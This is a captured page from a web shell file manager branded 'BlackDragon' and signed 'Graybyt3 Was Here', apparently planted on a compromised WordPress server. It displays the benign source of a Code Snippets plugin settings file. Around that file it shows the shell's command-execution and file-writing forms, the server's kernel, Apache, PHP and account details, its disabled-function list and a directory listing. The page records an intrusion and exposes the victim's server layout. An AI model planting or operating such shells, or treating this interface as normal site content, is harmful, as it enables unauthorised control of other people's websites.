Graybyt3 Was Here
Linux webservices-17 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Apache/2.4.65 (Unix) OpenSSL/1.1.1f
127.0.0.1
/
home
/
sihate-co
/
webapps
/
sihate-co
/
public
/
wp-content
/
plugins
/
code-snippets
/
php
/
settings
[ HOME ]
Exec
Submit
File Name : class-setting-field.php
<?php /** * This file handles rendering the settings fields * * @since 2.0.0 * @package Code_Snippets * @subpackage Settings */ namespace Code_Snippets\Settings; /** * Represents a single setting field * * @property-read string $desc Field description. * @property-read string $label Field label. * @property-read string $type Field type. * @property-read string $name Setting name. * * @property-read int $min Minimum value (for numerical inputs). * @property-read int $max Maximum value(for numerical inputs). * @property-read array<string, string> $options List of options for a select or checkboxes field. * @property-read callable $render_callback Custom function to use when rendering a callback field. * @property-read callable $sanitize_callback Custom function to use when sanitize the setting value. * @property-read mixed $default Default setting value. * * @property-read string $input_name Value of `name` HTML attribute on an input element. */ class Setting_Field { /** * Input field identifier. * * @var string */ private $field_id; /** * Settings section identifier. * * @var string */ private $section; /** * List of possible arguments. * * @var array<string, mixed> */ private $args = array( 'desc' => '', 'label' => '', 'min' => null, 'max' => null, 'options' => [], ); /** * Class constructor. * * @param string $section_id Settings section identifier. * @param string $field_id Setting field identifier. * @param array<string, mixed> $args The setting field attributes. */ public function __construct( string $section_id, string $field_id, array $args ) { $this->field_id = $field_id; $this->section = $section_id; $this->args = array_merge( $this->args, $args ); } /** * Retrieve a single setting attribute. * * @param string $argument Attribute name. * * @return mixed Attribute value. */ public function __get( string $argument ) { if ( 'input_name' === $argument ) { return sprintf( '%s[%s][%s]', OPTION_NAME, $this->section, $this->field_id ); } return $this->args[ $argument ]; } /** * Retrieve the saved value for this setting. * * @return mixed */ private function get_saved_value() { return get_setting( $this->section, $this->field_id ); } /** * Render the setting field */ public function render() { $method_name = 'render_' . $this->type . '_field'; if ( method_exists( $this, $method_name ) ) { call_user_func( array( $this, $method_name ) ); } else { // Error message, not necessary to translate. printf( 'Cannot render a %s field.', esc_html( $this->type ) ); return; } if ( $this->desc ) { echo '<p class="description">', wp_kses_post( $this->desc ), '</p>'; } } /** * Render a callback field. */ public function render_callback_field() { call_user_func( $this->render_callback ); } /** * Render a single checkbox field. * * @param string $input_name Input name. * @param string $label Input label. * @param boolean $checked Whether the checkbox should be checked. */ private static function render_checkbox( string $input_name, string $label, bool $checked ) { $checkbox = sprintf( '<input type="checkbox" name="%s"%s>', esc_attr( $input_name ), checked( $checked, true, false ) ); $kses = [ 'input' => [ 'type' => [], 'name' => [], 'checked' => [], ], ]; if ( $label ) { printf( '<label>%s %s</label>', wp_kses( $checkbox, $kses ), wp_kses_post( $label ) ); } else { echo wp_kses( $checkbox, $kses ); } } /** * Render a checkbox field for a setting * * @return void * @since 2.0.0 */ public function render_checkbox_field() { $this->render_checkbox( $this->input_name, $this->label, $this->get_saved_value() ?? false ); } /** * Render a checkbox field for a setting * * @return void * @since 2.0.0 */ public function render_checkboxes_field() { $saved_value = $this->get_saved_value(); $saved_value = is_array( $saved_value ) ? $saved_value : []; echo '<fieldset>'; printf( '<legend class="screen-reader-text"><span>%s</span></legend>', esc_html( $this->name ) ); foreach ( $this->options as $option => $label ) { $this->render_checkbox( $this->input_name . "[$option]", $label, in_array( $option, $saved_value, true ) ); echo '<br>'; } echo '</fieldset>'; } /** * Render a basic text field for an editor setting. * * @return void */ private function render_text_field() { printf( '<input type="text" name="%s" value="%s" class="regular-text">', esc_attr( $this->input_name ), esc_attr( $this->get_saved_value() ) ); if ( $this->label ) { echo ' ' . wp_kses_post( $this->label ); } } /** * Render a number select field for an editor setting * * @since 2.0.0 */ private function render_number_field() { printf( '<input type="number" name="%s" value="%s"', esc_attr( $this->input_name ), esc_attr( $this->get_saved_value() ) ); if ( is_numeric( $this->min ) ) { printf( ' min="%d"', intval( $this->min ) ); } if ( is_numeric( $this->max ) ) { printf( ' max="%d"', intval( $this->max ) ); } echo '>'; if ( $this->label ) { echo ' ' . wp_kses_post( $this->label ); } } /** * Render a number select field for an editor setting. * * @since 3.0.0 */ private function render_select_field() { $saved_value = $this->get_saved_value(); printf( '<select name="%s">', esc_attr( $this->input_name ) ); foreach ( $this->options as $option => $option_label ) { printf( '<option value="%s"%s>%s</option>', esc_attr( $option ), selected( $option, $saved_value, false ), esc_html( $option_label ) ); } echo '</select>'; } /** * Render a button link. * * @since 3.5.1 */ private function render_action_field() { printf( '<button type="submit" name="%s" class="button">%s</button>', esc_attr( $this->input_name ), esc_html( $this->label ? $this->label : $this->name ) ); } }
Back
Folder Name
Submit
File Name
File Content
Submit
System Information
Uname > Linux webservices-17 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 Software > Apache/2.4.65 (Unix) OpenSSL/1.1.1f PHP > 7.4.33 Protocol > HTTP/1.0 IP / Port > 127.0.0.1 / 80 Mail > ON Curl > ON Owner > sihate-co MySQL > OFF Disable Function > getmyuid,passthru,leak,listen,diskfreespace,tmpfile,link,ignore_user_abort,shell_exec,dl,set_time_limit,exec,system,highlight_file,source,show_source,fpassthru,virtual,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_open,proc_close,proc_nice,proc_terminate,escapeshellcmd,ini_alter,popen,pcntl_exec,socket_accept,socket_bind,socket_clear_error,socket_close,socket_connect,symlink,posix_geteuid,ini_alter,socket_listen,socket_create_listen,socket_read,socket_create_pair,stream_socket_server
*ReClick For Close
File : BlackDragon /about/function.php
Name
Type
Size
Owner/Group
Permission
Last Modified
Actions
.
dir
-
1002/1003
0555
2024-12-09 10:40:55
..
dir
-
1002/1003
0555
2024-12-09 10:40:55
class-setting-field.php
text/x-php
6.26 KB
1002/1003
0644
2025-02-16 04:50:26
editor-preview.php
text/x-php
2.89 KB
1002/1003
0644
2024-03-20 10:19:55
settings-fields.php
text/x-php
7.26 KB
1002/1003
0644
2024-12-25 12:01:22
settings.php
text/x-php
9.28 KB
1002/1003
0644
2025-03-10 06:26:59
© BlackDragon